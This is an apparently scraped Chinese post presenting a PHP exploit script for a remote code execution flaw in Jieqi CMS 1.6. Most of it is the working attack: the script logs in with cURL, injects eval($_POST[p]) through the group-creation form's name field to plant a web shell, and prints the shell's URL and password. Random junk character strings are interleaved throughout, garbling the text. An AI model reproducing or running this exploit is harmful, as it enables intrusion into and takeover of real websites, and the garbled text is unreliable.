杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。! v2 ~ W6 I& s& x: J
3 [& w) Q9 w. a) v3 b0 k
. X' O5 O& q0 F1 b ^9 t6 n, K该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。# N7 z6 U6 Q' J0 J3 y; e" J
需要有一个能创建圈子的用户。) b `' N, s1 F- u% }4 q: M/ K
# q8 l8 R& q5 |; I<?php
, f! S( n. L: M1 }' _ ; t- A0 r; e1 v7 P) g( E, p
print_r('
\, ?# J( ~6 | a+---------------------------------------------------------------------------+1 S7 z+ c! ^3 H
Jieqi CMS V1.6 PHP Code Injection Exploit. o" l u( w* M" I
by flyh4t5 @/ W, [7 H) ^8 T" o
mail: phpsec at hotmail dot com
# U" Y- ?6 e, F; l1 s! B! I( Lteam: http://www.wolvez.org" _; j: c7 N- N5 A) U! A
+---------------------------------------------------------------------------+7 G1 ^, v% X' u1 A
'); /**
! V. R: r& ?& ?. b3 K" x& ], D * works regardless of php.ini settings
# s3 d# z( r' n*/ if ($argc < 5) { print_r('/ S7 @, M# A' U' m2 |) `' C
+---------------------------------------------------------------------------+
0 S6 ^! T& {& ZUsage: php '.$argv[0].' host path username' U+ j% t: B. E
host: target server (ip/hostname)
0 ~& Q" r$ \. p% A0 tpath: path to jieqicms 0 x5 S8 i8 ~3 ]
uasename: a username who can create group' J; Q* R: ?% [
Example:! B% W0 y) g+ J+ C; p) H; _" b
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
6 O( F( Z, u2 c4 U+---------------------------------------------------------------------------+
. |! z. M) m# C$ G+ R2 ?'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961! H5 x8 W* k$ g" G/ s
Content-Disposition: form-data; name="gname"5 B! u: G( \* Z5 Q
( r" q) X. U0 n7 [! l5 X'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
) k' u$ p: H, R# A7 X/ k7 x: |- B-----------------------------23281168279961
) h" l- b @2 C$ z: fContent-Disposition: form-data; name="gcatid"! V- |6 e1 x3 F6 X) \
" j1 }1 H7 F# o7 y2 s: q) E1
7 n& s9 H# Y8 B; a0 r$ `-----------------------------23281168279961( ~+ {' K) }& W' S1 x9 |8 k d% h
Content-Disposition: form-data; name="gaudit"; |# Y5 {" M7 p
) B9 i) r |+ r& Q# Z7 ?2 c
1$ ?5 P" Q% r; v4 m- @1 `8 i
-----------------------------232811682799616 H* p" Y, n9 a- L$ l3 ~+ S2 {
Content-Disposition: form-data; name="gbrief"' h4 x7 h6 @$ Q. ] \2 N
/ v- G, H" ?7 y A4 f1
1 F+ c3 e4 s1 d n; Y+ k+ A-----------------------------23281168279961--
# i, y/ L) A$ Y; z'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com- r# U' V' K$ X, i+ p. w. T
% U1 F# u' H- l- ~) E' X+ kpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url; |